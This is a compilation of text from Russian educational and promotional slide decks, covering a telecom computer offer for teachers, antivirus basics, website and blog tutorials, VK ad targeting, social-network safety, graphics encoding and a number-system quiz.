Петербургский филиал ОАО «СЗТ»
«Северо-Западный Телеком» – это ведущий оператор фиксированной связи, 10 филиалов по северо-западному федеральному округу;
Более 125 лет на рынке телефонной связи в Санкт-Петербурге;\
Развитие c 2006 г. технологии доступа к сети Интернет  ADSL;
Развитие с 2008 г. технологии доступа к сети Интернет PON;
Более 300 тыс. пользователей услуг ШПД доступа к Интернет
3
Акция «Компьютер для учителя»
Предложение 2009 года,
специально разработанное для учителей:

Льготные условия приобретения персонального компьютера – беспроцентная рассрочка;
				      +
Бесплатное пользование услугой «Авангард» до 31.12.2009 г. – на выбор 2 тарифных плана.

4
Цели акции «Компьютер для учителя»
Вывод на рынок экономичного для клиентов пакетного предложения «Компьютер + Высокоскоростной Интернет»;

Популяризация услуг Интернет среди населения Санкт-Петербурга;

Повышение доступности
  передовых, технологичных услуг.
5
Мероприятия акции «Компьютер для учителя»
Сотрудничество Петербургского филиала ОАО «СЗТ» с Районными отделами народного Образования (РОНО);
Распределение РОНО сертификатов по школам Санкт-Петербурга;
Распределение в школах города сертификатов среди учителей;
*при участии губернатора Санкт-Петербурга В.И.Матвиенко
Участие в ежегодном Городском педагогическом совете «Национальная образовательная инициатива «Наша новая школа»выставке («ЛЕНЭКСПО», 27 августа)*.
6

Описание предложения

Современный компьютер

Бесплатное пользование услугой «Авангард»* до 31.12.2009 г.
Беспроцентный кредит на покупку на 6 или 12 месяцев
* По условиям акции – на выбор: тариф «Спринт» (ADSL) – 2 Мбит/сек, либо тариф «МЕГА1» (PON) – 5 Мбит/сек;
** при первичном подключении абонента.

Неограниченный доступ
к сети Интернет
24 час в сутки
Подарок на выбор**:
ADSL-модем – Веб-камера

7
Предлагаемые персональные компьютеры в рамках акции «Компьютеры для учителя»*
Процессор: Intel® Atom Processor N270 1.6Ghz;
Операционная система: Подлинная Windows XP®Home;
Оперативная память: 1GB (DDR2 553);
LCD дисплей: 18.5", 1366x768 WSVGA LED;
Жесткий диск: 160GB;
Веб-камера: 1.3 mpx;
DVD: DVD Super Multi;
Карт-ридер: 4- в -1, SD/MMC/ MS/MS;
Коммуникации: Встроенный модуль 802.11b/g (Wi-FI),  WLAN
Порты ввода/вывода: USB2.0 х 4, микрофонный вход х 1/ Line-in порт x 1, выход на наушники х 1, сетевой порт х 1;
Размеры: 550(Д) x 420(Ш) x 35(В) мм;
Комплектация: Неттоп, клавиатура, оптическая мышь;
Цвет: Черный/ серебристый.
Неттоп MSI NetOn AP 1900
8
Предлагаемые персональные компьютеры в рамках акции «Компьютеры для учителя»*
Процессор: Intel® Atom™ N270 1.6Ghz;
Операционная система: Подлинная Windows XP®Home Premium;
Оперативная память: 512MB (DDR2 667);
LCD дисплей: 10", 1024x600;
Аудио: HD аудио, стерео звук;
Жесткий диск: 80GB SATA;
Веб-камера: 1.3 mpx;
Карт-ридер: 4- в -1, SD/MMC/ MS/MSpro;
Коммуникации: Встроенный модуль 10/100 LAN, Встроенный модуль 802.11b/g WLAN, BlueTooth;
Порты ввода/вывода: VGA(15-конт., D-Sub) х 1, USB2.0 х 3, микрофонный вход х 1/ Line-in порт x 1,
выход на наушники х 1, сетевой порт х 1;
Аккумулятор: Li-Ion 3 элемента
Размеры и вес: 260(Д) x 180(Ш) x 19-31.5(В) мм; 940 г с трехячеечной аккумуляторной батареей;
Цвет: Черный.

Нетбук MSI U100 – 200RU
9
Предлагаемые персональные компьютеры в рамках акции «Компьютеры для учителя»*
Процессор: Intel Core 2 Duo 1.66GHz / 1MB/ FSB 667 ;
Операционная система: Операционная система Windows Vista Home Premium;
Оперативная память: 2GB (DDR2);
LCD дисплей: 15.4WXGA 1280x800;
Жесткий диск: 160GB;
Графика: ATI Radeon HD3410 512MB
Веб-камера: 1.3 mpx;
DVD: DVD Super Multi;
Карт-ридер: 4- в -1, SD/MMC/ MS/MS;
Коммуникации: 56K модем, Fast Ethernet карта, Wi-Fi, Bluetooth (опционально)
Порты ввода/вывода: кардридер SD/MMC/MS/MS Pro, 1 x D-Sub, 4 x USB;
Звук: HD Audio, 2 динамика, встроенный микрофон;
Масса: 2,6 кг;
Цвет: Черный.
* Возможно изменение конфигурации оборудования
Ноутбук  MSI VX600-042RU*
10
Предлагаемые тарифные планы в рамках акции «Компьютер для учителя»
Подробные условия акции на сайте www.avangard-dsl.ru/
11
Порядок действий
Получение сертификата
Реализация сертификата
Заключение срочного договора на услугу «Авангард»;
Приобретение в рассрочку персонального компьютера
Адреса ППиО:
Лесной пр., д. 1/3;
Гороховая ул., д. 13;
Балканская пл., д. 5 литер Я,
ТЦ «Астра»;
Комендантская пл., д. 1 литер А,
ТЦ «Атмосфера»;
Синопская наб., д. 14;
Полный список адресов на
сайте www.avangard-dsl.ru/.
Школа

Подключение услуги «Авангард», получение подарка

В течение 5-ти дней
Получение до 6 месяцев бесплатного пользования услугой «Авангард»

Автоматически после подключения услуги
Шаг 1
Шаг 2
Шаг 3
Шаг 4
12

Познавательные каналы «Авангард ТВ»
Базовый пакет
Animal Planet: Первый и единственный телеканал в мире, посвященный полному чудес животному миру. На канале транслируются -документальные репортажи, драмы из реальной жизни, программы об обратной стороне работы ветеринаров и современные передачи для детей.
Здоровое ТВ: Информационный познавательный канал обо всем, что связано со здоровьем человека, его феноменальными способностями, строением и работой его организма, красотой его тела и духа. Телеканал строиться по простому принципу – это энциклопедия. Энциклопедия здоровой жизни.
Время далекое и близкое: Круглосуточный биографический канал, повествующий о кумирах прошлого. Неизвестные страницы истории XX века раскрывают документальные фильмы российского и зарубежного производства.
Мать и дитя: Первый в России круглосуточный телеканал о материнстве и детстве. Концепция канала была разработана при участии ведущих специалистов в области медицины и образования.
Discovery Channel: Международный телеканал, освещающий все стороны человеческой жизни от экстремальных интересов до насущных забот.
13
Новая телефония
 это цифровое качество связи с включенными современными функциями: Тональный набор , Идентификация вызывающего Абонента (Caller ID) , Переадресация вызовов.
 это возможность сохранения номера в случае переезда в пределах Санкт-Петербурга*. это простой способ замены «спаренного»* или «уплотненного»* телефона с одновременным улучшением качества связи
 это новые возможности коммуникаций в будущем – например, видеотелефония и подключение SIP-аппаратов.
это гарантированная защита от несанкционированного доступа посторонних лиц к Вашему телефону.
 это новый номер, теперь Вы сами можете выбрать новый телефонный номер на нашем сайте. Входящая связь по старому номеру сохраняется 3 месяца после переключения.
По технологии ADSL или PON также можно подключить услугу «Новая телефония» (или переключить существующий номер)*
*При наличии технической возможности

Спасибо за внимание!Ваши вопросы.


title: Скачать презентацию или конспект Антивирусные программы

extracted_text:
Компьютерные вирусы. Антивирусные программы.
Подготовил Перепелицын Владислав
Вирус.Что это?
Компьюютерный вирус — вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи.
Классификация компьютерных вирусов.
Особенности алгоритма
Троянский конь
Ретро-вирусы
Логические бомбы
Вирусы-мутанты
Простейшие вирусы
Вирусы-лепликаторы
Вирусы невидимки
Многие другие

Антивирусы.Что это?
Антивирусная программа (антивирус) — специализированная программа для обнаружения компьютерных вирусов, а также нежелательных (считающихся вредоносными) программ вообще и восстановления заражённых (модифицированных) такими программами файлов, а также для профилактики — предотвращения заражения (модификации) файлов или операционной системы вредоносным кодом.
Виды антивирусов.
Антивирус Касперского
Виды антивирусов.
Dr.Web
Виды антивирусов.
Panda
Виды антивирусов.
Avast
Виды антивирусов.
ESET NOD32


title: Скачать презентацию или конспект Что нам стоит сайт построить?!

extracted_text:
«Что нам стоит сайт построить?!»
Рекомендации по созданию сайта (интернет-ресурса) педагога
в рамках конкурса профессионального мастерства
«Учитель Года Самарской области 2011»
Борзаков Д.В.
Web-сайт включает в себя следующие составные части:
Содержание
Структура и навигационные функции
Визуальное оформление
Функциональность
Интерактивность
Общее впечатление
СОДЕРЖАНИЕ:
Тема должна быть четко обозначена.
Содержание должно соответствовать тематике.
Информация  должна быть достоверна и полезна.
Представленная информация должна быть важна с научной и социальной точки зрения.
Содержание сайта должно соответствовать возрастной группе, на которую он ориентирован.
Синтаксис и орфография сайта не должны содержать ошибок.
Сайт не должен нуждаться в редактировании.
На сайте должны быть правильно указанны все источники и сохранены авторские права.
СТРУКТУРА И НАВИГАЦИОННЫЕ ФУНКЦИИ:
Навигация должна быть видна сразу при открытии сайта и содержать:
- кнопку возврата на главную страницу;
- адрес электронной почты;
- дату последнего обновления сайта;
- адрес домашней страницы сайта в Интернете.
Последовательность загрузки страниц должна быть очевидна.
Навигация  должна быть ясна как внутри страниц, так и со страницы на страницу.
На каждой странице должны быть однотипные элементы навигации.
Должны быть включены соответствующие гиперссылки на другие источники информации по теме.
ДИЗАЙН:
Организация страниц легка для чтения.
Стиль сайта должен прослеживаться на всех страницах.
Фон, заголовки и общее расположение материалов на экране должны соответствовать друг другу и не нарушать целостности восприятия.
Графика и анимация должны поддерживать основную тему страницы и не перегружать сайт.
Снабжайте рисунок подписью.
Устанавливая размеры фотографий и рисунков, используйте значения в процентах от размера окна обозревателя.
Текст должен быть легко читаем.
Не выделяйте длинные фразы, представляя все слова прописными буквами. Это затрудняет чтение.
Не используйте аббревиатуры и сокращения, если они не общеизвестны или двусмысленны.
Избегайте тавтологий как по форме, так и по сути.
Не используйте сленговых выражений и сослагательные наклонения.
САЙТ УЧИТЕЛЯ
РУССКОГО ЯЗЫКА И ЛИТЕРАТУРЫ
Главная
План-конспекты уроков
Внеклассные мероприятия
Фотоальбом
Полезные ссылки
Аудиодиктанты
Аудиокниги
Гостевая книга
Обратная связь
САМОЕ ГЛАВНОЕ ПРО МЕНЯ

ФУНКЦИОНАЛЬНОСТЬ:

Сайт должен быть независим от платформы и типа браузера.
Сайт должен быстро загружаться.
Ссылки должны быть в рабочем состоянии.
Не увлекайтесь использованием гиперссылок, открывающих документы в новом окне обозревателя.
ИНТЕРАКТИВНОСТЬ:

Должна быть обеспечена возможность двустороннего обмена информацией: тематический чат, форум, электронная почта.
ПЕДАГОГИЧЕСКИЙ АСПЕКТ:

Сайт должен демонстрировать полноту содержания темы.
Должен демонстрировать решение определенных педагогических задач.
Сайт должен учитывать индивидуально-личностные особенности учащихся, педагогов, родителей.
ОБЩИЕ РЕКОМЕНДАЦИИ:

Учтите психолого-педагогические и возрастные особенности аудитории, на которую Вы рассчитывали при разработке проекта.
Помните о достаточно низкой реальной скорости каналов Интернета у большинства пользователей. В соответствии с этим определите тот необходимый минимум графических, динамических, музыкальных, анимационных и т. п. объектов, которые Вы собираетесь разместить на сайте.
Не забывайте о том, что Ваш сайт будут просматривать пользователи, имеющие разные браузеры и программные продукты. Не все "фантастические" возможности, использованные вами при создании сайта, они смогут увидеть. Помните, что "краткость - сестра таланта", не перегружайте свой сайт информацией и эффектами.
Ознакомьтесь с существующими сайтами схожей тематики.
Закон о «Защите персональных данных» никто не отменял.
Полезные ссылки:
http://inmira.narod.ru/
(рекомендации по созданию сайта с «нуля»)
http://index-freehosting.narod.ru/
(список сайтов, предоставляющих бесплатный хостинг/
конструктор сайтов)
denisborzakov@yandex.ru
(обратная связь с тем, кто создал эту презентацию)

Сайт - это нечто большее, чем просто сумма составляющих его частей.
Помимо информационного наполнения, структуры и навигационных возможностей, визуального оформления, функциональности и интерактивности общее впечатление учитывает и те неуловимые тонкости, которые заставляют пользователя
остаться или уйти.
При создании презентации использованы материалы с сайта: http://86mmc-konda.edusite.ru/


title: Скачать презентацию или конспект Что можно выбрать в компьютерном меню

extracted_text:
Выполнила: учитель информатики МБОУ Морозовской  СОШ Карасукского района Жунина Ирина Леонидовна
Что можно выбрать в компьютерном меню
5 КЛАСС
21 февраля 2014 г
Вы приходите в школьную столовую, естественное желание посмотреть чем вас будут сегодня кормить. Как вы думаете, где это можно сделать?
в меню
    Сегодня ваш друг хочет отправиться к бабушке в гости, но ему не хочется рано выезжать, для того чтобы выбрать время поездки, куда следует обратиться другу?
к расписанию движения автобусов
В воскресный день папа пригласил вас в кафе. Вы пришли и хотите выбрать угощение. Здесь вам тоже предложат меню.
Помню точно: в эту среду,Время близилось к обеду...Цапли две в пруду стоялиИ о вкусах рассуждали.Первая: - Желаю рыбы!А вторая: - Нет, спасибо!И хочу заметить Вам,Рыба – лишь по четвергам!Я по средам, как всегда,Ем лягушек из пруда,Лягушачье то меню Больше рыбного ценю...Первая в ответ кивалаИ от голода вздыхала.Но квакушки – не глухие,Попрыгуньи – не плохие:Кто – за кочку, кто – за куст,Столик для обеда пуст.Разве хочется лягушкамБыть обедом в чьём-то брюшке?
Меню — это набор вариантов, из которых пользователь выбирает нужные. Самый привычный вид меню — текстовый. Его вы можете наблюдать в расписании поездов, автобусов, в меню ресторана, в настройках телевизора.
Широко распространены графические меню, когда вместо текста варианты выбора представлены пиктограммами
     Например, пиктографическое меню на вокзале, указывающее расположение платформ, зала ожидания, касс, туалета, медпункта, графическое меню сенсорного телефона.
Клавиатура компьютера, пульт управления телевизором, сотовый телефон содержат кнопочное меню. Пользователь выбирает нужные кнопки из предложенного набора для выполнения своей задачи:
набора номера, например
            Скажите, а расписание уроков можно назвать меню?
нет, т. к. меню – это выбор, а здесь выбора быть не может
Подумайте: является ли меню
·         расписание авиарейсов в аэропорту,
·         список учеников класса,
·         список покупок,
·         расписание школьных уроков,
·         оглавление книги,
·         телефонный справочник,
·         набор клавиш на клавиатуре компьютера,
·         календарь,
·         список продуктов для приготовления борща,
·         каталог книг в библиотеке,
·         объявление в газете,
·         дорожный указатель.
У компьютера тоже есть меню – оно помогает нам взаимодействовать  с компьютером
            Если человек использует компьютер, его называют пользователем компьютера или компьютерным пользователем.

              Компьютерный интерфейс — это средства для управления компьютером.
     Практическая работа за компьютером
СПАСИБО
ЗА УРОК!!!


title: Скачать презентацию или конспект Все, что вы хотели знать про таргет ВК

extracted_text:
Тема лекции:

7
«Все, что вы хотели знать про таргет ВК».

Тыщенко Анна
Королева промо-постов

О себе:
- 3 года занимаюсь таргетом
- Вырастила сообщество заказчика на 100 000 за полгода в ВК;
- Одна из первых оттестировала промо и начала массово внедрять их на проекты

Виды проектов: офлайн проекты с ограниченным гео,
  события, проекты без гео.

8
Как выглядит таргетированная реклама:

8
Как выглядит таргетированная реклама:

8
Что есть в рекламном кабинете?
Гео (можно по карте)/ Пол/ Возраст
СП/День рождения (в течение недели)
Интересы/ Категория интересов/ Сообщества
Профессии
Ретаргетинг

8
Парсеры
Церебро Таргет
Таргетхантер
Пэппер Нинзя
Ретаргет Секси
Сегменто

9
Какой таргет использовать: боковой или промо?
Отличия:
Размер объявления
Количество текста
Количество показов
Скорость открутки
Стоимость

Что предлагаем:
- Мероприятия, акции – краткосрочная кампания
- Продаем долгосрочно товары

9
Что такое «горячие аудитории» и как их собирать?
Аудитория своей группы
Аудитория ретаргета с сайта
Аудитория спикеров конференции/лидера мнений, который рекламирует товар/услугу
Прямые конкуренты
Оптимальный размер аудиторий суммарно – до 100 тыс человек

9
Холодные аудиторииГруппы - это реальные интересы пользователей
Для холодных аудиторий используем только промопосты!
Можем просто настроить просто по группам
Можем долго возиться с парсером и получить более интересные аудитории
Размер холодной аудитории для промо – от 100 000 человек

8
Куда вести таргет: сайт или сообщество?
 - Какие пользователи сидят в соц. сети?
Что продаем: мероприятие, бесплатник, платник (какой чек?)

9

8
Возимся с парсером
Возимся с парсером
Взяли образец аудитории (свою группу или конкурентов или все вместе или что попало)
Узнали, в каких группах еще эта аудитория состоит
Отсортировали по проценту
Выкинули «хвост»
Получили первую «общую аудиторию
Хотим узнать, какие слова чаще всего встречаются в названиях этих групп (используем сеоанализ)
http://itop.media/tools.php?i=semantics
На выходе получили сегменты
Каждый сегмент можно расширить

8
Сеоанализ

8
Расширяем сегмент

11
Собрали тех, кто состоит в нескольких группах
Проанализировали их (где они состоят)
Наши все группы с нужным ключом
Теперь эти группы можно поставить в рекламный кабинет (или собрать аудиторию в ретаргет)
Итого сегменты

8
1 общий по проценту
Несколько сегментов по интересам
Сегменты без ретаргетинга на базовых настройках (гео, статусы, должности)
Категория интересов

Креативы – боковой таргет

8
Фото спикеров
Обработка возражений
Обратный отсчет
Напоминалки
Сбор отзывов

Тексты поста, как найти боли

11
Формируем текст поста:
Заголовок – обращение к ЦА
Проблема+решение проблемы. Если проблемы нет, тут может быть УТП.
Призыв к действию

Не для каждого продукта будет работать
Собираем комментарии к постам из групп конкурентов
Или просто смотри комментарии глазками
Можно еще посмотреть темы с вопросами

Картинка
Изображает ЦА
Шуточка, понятная ЦА (мемы, аткрытки, демотиваторы)
Таблицы и графики (если это уместно)
Фото на телефон
Селфи

10
Промо с кнопкой и без, куда вести посты

8
Можно делать «слепые» объявления с кнопками
Без кнопки, но с кликабельной картинкой
Без кнопки и с некликабельной картинкой

Посты на ЛС сообщества
Главный принцип: один посыл, одна картинка, одна ЦА
Последние штрихи настройки

8
Если промо:
1 показ на человека (2-3, если событие или мало аудитории)
Ставка:
ЦА меньше 100 тыс – рекомендуемая
ЦА от 100 тыс до 300 тыс – 1/3 рекомендуемой
Больше 300 тыс – минимальная
Если ведем на подписки на группу – используем мобайл. На сайт – надо тестировать.

Боковой таргет:
Обязательно галку «до 100 показов на человека»
Ставку – половина от рекомендуемой
За показы

Открутка

8
Посты:
Смотрим «подробную статистику»
Смотрим статистику прироста группы
Тестовый лимит – 150 р

И посты и боковой:
Смотрим метрику на сайте (если вели на сайт)

Боковой:
Смотрим CTR
Метрику (еще раз)
Ставим лимит 100р

Подытожим

8
- Можно использовать и боковой и промо – зависит от сроков кампании, размеров аудитории
- Лучше вести холодный трафик прям в ВК
Нужно собрать много аудитории (от 100к)
На каждую аудиторию уникальный посыл, боль, картинка
Не забыть лимиты и показы на человека
Примеры

8
Примеры

8
Примеры

8
Жду ваших вопросов

Моя группа:
vk.com/nastroika_reklamy
Я в ВК:
vk.com/promopost_queen

8


extracted_text:
Безопасная работа в социальных сетях: общение, публикация материалов.
Кусайкина Елизавета
Лицей №43
6 класс
Сейчас существует много, много, много соц. сетей. И почти каждый человек зарегистрирован в «ВКонтакте» или  в  Twitter. Но знают ли они правила безопасности в социальных сетях?
1!Никогда не выкладывайте свою личную информацию!
2! Будьте осторожны при общении с незнакомыми людьми! В Интернете много мошенников!
3!Пароль не должен быть банальный-высокий риск взлома страницы!
4!Не вступайте в переписку со «спамерами» отправляющими ссылки!
5!Не надо отправлять свои фотографии сетевым знакомым! Их могут выложить на сайтах сомнительногосодержания!
6!Помните - все, что вы сделаетев Интернете, будет иметь последствияв реальной жизни!
Спасибо за внимание)


title: Скачать презентацию или конспект Наглядные формы представления информации

extracted_text:
Урок 12
Тема: Наглядные формы представления информации.
Повторение
В каких случаях удобно представлять информацию в виде таблицы?
Какие заголовки можно дать графам таблицы:
А) Домашняя библиотека.
Б) Имя существительное.
В) Ученики нашего класса?

Домашняя библиотека
Задача 4.
Решение:
Наглядные формы представления информации: рисунки.
Наглядные формы представления информации: диаграммы.
Схемы (русский язык)
С какими наглядными средствами представления информации вы знакомились на уроках математики, русского языка, естествознания?
Схема безопасного маршрута домой и в школу.
Дорожные знаки.
Карты.
Таблица химических элементов Менделеева.
Схема предложения.
Задание:
1.Представьте следующую информацию в наиболее наглядной с вашей точки зрения форме:
Длина Нила – 6671 км, Думая – 2850 км, Волги – 3530 км, Дона – 1870 км.
2. Придумайте 2-3 предложения по схеме:


title: Скачать презентацию или конспект Технология создания и ведения блога в Живом Журнале (livejournal.com)

extracted_text:
Учитель – Богачёва Галина Владимировна, учитель информатики ГБОУ лицей №144 Санкт-Петербурга

Технология создания и ведения блога в Живом Журнале (livejournal.com)
Выступление на педсовете
Содержание
Создание аккаунта
Регистрация на сайте
Создание новой записи
Редактирование записей
Работа с картинками
Интерактивное общение в ЖЖ (комментарии)
Создание аккаунта
Заходим на сайт livejournal.com, попадаем на главную страницу Живого Журнала.

Нажимаем на кнопку Создать аккаунт.
Создание аккаунта
Создание аккаунта
В соответствующие поля вводим: Имя пользователя, Адрес email, Пароль, подтверждаем пароль, Пол, Дата рождения, заполняем буквы с картинки и нажимаем кнопку Создать аккаунт. Открывается окно настройки журнала.
Заполняем соответствующие поля, выбираем стиль своего журнала –внешний вид, который можно потом и изменить. Нажимаем кнопку Сохранить и продолжить.
Создание аккаунта
Здесь сообщается, что на указанный вами адрес отослано письмо, в котором будет стоять ссылка, по которой нужно перейти (кликнуть по ней), т.е. проверка, что ваш адрес рабочий. И откроется ваш личный живой журнал. Всё.

Регистрация на сайте
Заходим на сайт livejournal.com, попадаем на главную страницу Живого Журнала.

Вводим логин (имя пользователя), пароль и нажимаем Вход.

Регистрация на сайте
Можно сразу набрать в адресной строке браузера адрес своей страницы
http://galinabogacheva.livejournal.com, где указано имя вашей страницы

Создание новой записи
Ввести логин и пароль.
http://galinabogacheva.livejournal.com/
Создание новой записи
Перейти по гиперссылке на Новую запись.
Создание новой записи
Заполнить тему записи, содержимое в визуальном конструкторе.
Создание новой записи
Отправить по кнопке в конце записи в свой журнал, откроется просмотр вашей страницы.
http://galinabogacheva.livejournal.com/
Создание новой записи
Вы можете отредактировать эту запись (перейти по гиперссылке Управление записями), ввести новую или выйти из Живого Журнала.

Редактирование записей
Перейти по гиперссылке к нужной записи, нажать кнопку Редактировать, внести изменения в запись.
Редактирование записей
Выбрать Сохранить запись или Удалить или Просмотр.

Работа с картинками
Выбрать Добавить фото.
Работа с картинками
Выбрать Загрузить, указать файл на диске, нажать Открыть.
Работа с картинками
Добавить описание, нажать Добавить в запись.
Работа с картинками
Картинка (файл с расширением jpg) появилась в записи.

Интерактивное общение в ЖЖ
Во время просмотра записи в ЖЖ можно оставить комментарий, сообщение о котором придет на вашу электронную почту. В ЖЖ вы также можете ответить на этот комментарий.

ЖЖ имеет дружественную службу поддержки, обратившись в которую можно получить ответы на все вопросы.
Источники:

livejournal.com
http://delajblog.ru/
Спасибо за внимание!


title: Скачать презентацию или конспект Обработка графической информации

extracted_text:
Презентация на тему: «Обработка графической информации»
Подготовила ученица 9 класса «А» Довлатбекян Маргарита
Виды графической информации
Графическая информация может быть представлена в аналоговой и дискретной формах. Аналоговая – непрерывная форма. Дискретная – цифровая форма. Примером аналогового представления графической информации может служить живописное полотно, цвет которого изменяется непрерывно, а дискретного - изображение, напечатанное с помощью струйного принтера и состоящее из отдельных точек разного цвета.
Преобразование информации из аналоговой формы в цифровую (декретную) называется пространственной дискретизацией. Изображение разбивается на отдельные точки – пиксели. Пиксель – минимальный участок изображения. В результате пространственной дискретизации графическая информация представляется в виде растрового изображения. Растровое изображение формируется из определенного количества строк, которые состоят из определенного количества точек.
Глубина цвета.
В процессе дискретизации используется палитра цветов – набор цветов.Количество цветов в палитре (N) равно 2I, где I – количество информации необходимое для кодирования цвета.N = 2IГлубина цвета – количество информации для кодирования точки изображения.. Глубина цвета определяет, сколько оттенков может принимать каждый пиксель, и измеряется в бита

Растровые графические редакторы.
Наилучшее средство обработки цифровых и отсканированных изображений.Можно повышать качество путем изменения цветовой палитры изображения, яркость, удалять мелкие дефекты изображения, преобразовать черно-белое изображение в цветное, использовать для преобразования различные эффекты. Недостатки растровых изображений: большой информационный объем, очень чувствительны к уменьшению и увеличению. При уменьшении несколько точек сливаются в одну, теряется четкость изображения. При увеличении точки добавляются, образуется ступенчатость.

Форматы растровых графических файлов:
Универсальным форматом растровых графических файлов является BMP.
Для размещения изображений на WEB – страницах используются форматы, в которых используется сжатие. Формат GIF, в котором используется метод сжатия. Файлы в формате GIF могут содержать не одну, а несколько растровых картинок.
Формат PNG использует метод сжатия без потери данных, позволяет использовать в палитре до 16 млн. цветов.
Для сжатия цифровых и отсканированных фотографий используется формат JPEG.
Формат TIF – используется в полиграфии.
Формат JPG – для цифровой фотографии.
Формат PSD – формат ADOBE PHOTOSHOP.

Векторная графика.
Векторные рисунки используются для хранения высокоточных графических объектов (рисунков, чертежей, схем). Векторные рисунки формируются из графических объектов: прямоугольник, линия, окружность и др. Для каждого объекта задаются координаты опорных точек, а так же цвет, толщина и стиль линии.
Форматы векторных графических файлов:
Формат WMF используется для хранения коллекции изображений Microsoft Clip Gallery.
Векторный редактор Open Office Draw сохраняет файлы в формате SXD.
Система компьютерного черчения Компас – в формате FRM.


title: Скачать презентацию или конспект Растровое кодирование графической информации

extracted_text:
Презентация к уроку информатики по теме «Растровое кодирование графической информации»
Автор: Смелова Наталья Александровна, учитель информатики первой квалификационной категории МОУ «СОШ №57» г.Оренбурга
Растровое кодирование графической информации
2710 =

110112
Совокупность точечных строк образует

графическую сетку
или

Кодирование растровых изображений
Растровое изображение представляет собой совокупность точек (пикселей) разных цветов.
Для черно-белого изображения информационный объем одной точки равен одному биту (либо черная, либо белая – либо 1, либо 0).

Сетка

Смешивание цветов

– те, кто считает, что хорошо понял тему
– те, кто считает, что недостаточно хорошо понял тему
 – те, кто считает, что ему еще много нужно работать над данной темой.
Домашнее задание
Стр. 23 – 25 в учебнике;
№ 37 (б), №38 (б)
  в рабочей тетради.


title: Скачать презентацию или конспект Проверочная работа по теме "Перевод смешанных чисел из 10-ой в N-ую"

extracted_text:
покажи результат учителювозврат к слайду после нажатия кнопки «далее» ведёт к снижению балла
Проверочная работатема: «Система счисления. Перевод из 10-ой в N-ю .»
начало
Базис Системы Счисления - это?

Набор символов

Набор арабских цифр

Набор правил

Суммирование: когда происходит перенос единицы в старший разряд?

При переполнении разрядной сетки

При достижении старшей цифры

При достижении основания

Какое число записано с помощью римских цифр MCMXCIX?

   2199

   1999

   2119

Перевести в 8-ю систему счисления: 101,32 (точность 10-3). Выберите правильный ответ

   154,4208

   541,2438

   145,2438

Перевести в 2-ю систему счисления: 5,75 (точность 10-2). Выберите правильный ответ

   101,112

   110,012

   101,102

Перевести в 7-ю систему счисления: 12,35 (точность 10-2). Выберите правильный ответ

   15,2437

   14,3427

   51,2337

Перевести в 8-ю систему счисления: 7,1875. Выберите правильный ответ

   0,148

   7,148

   7,0118

выход